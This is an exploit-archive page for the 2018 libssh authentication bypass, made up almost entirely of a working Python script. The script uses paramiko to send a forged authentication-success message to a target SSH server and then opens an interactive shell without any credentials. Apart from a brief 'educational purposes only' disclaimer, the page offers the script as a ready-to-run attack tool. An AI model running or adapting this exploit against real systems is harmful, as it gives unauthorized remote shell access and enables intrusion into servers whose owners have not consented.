Libssh authentication bypass Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-10-18 | Type : remote | Platform : linux
This exploit / vulnerability Libssh authentication bypass is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#!/usr/bin/env python3
import paramiko
import socket
import argparse
from sys import argv, exit


parser = argparse.ArgumentParser(description="libSSH Authentication Bypass")
parser.add_argument('--host', help='Host')
parser.add_argument('-p', '--port', help='libSSH port', default=22)
parser.add_argument('-log', '--logfile', help='Logfile to write conn logs', default="paramiko.log")

args = parser.parse_args()


def BypasslibSSHwithoutcredentials(hostname, port):

sock = socket.socket()
try:
sock.connect((str(hostname), int(port)))

message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()

message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)

spawncmd = transport.open_session()
spawncmd.invoke_shell()
return 0

except paramiko.SSHException as e:
print("TCPForwarding disabled on remote/local server can't connect. Not Vulnerable")
return 1
except socket.error:
print("Unable to connect.")
return 1


def main():
paramiko.util.log_to_file(args.logfile)
try:
hostname = args.host
port = args.port
except:
parser.print_help()
exit(1)
BypasslibSSHwithoutcredentials(hostname, port)

if __name__ == '__main__':
exit(main())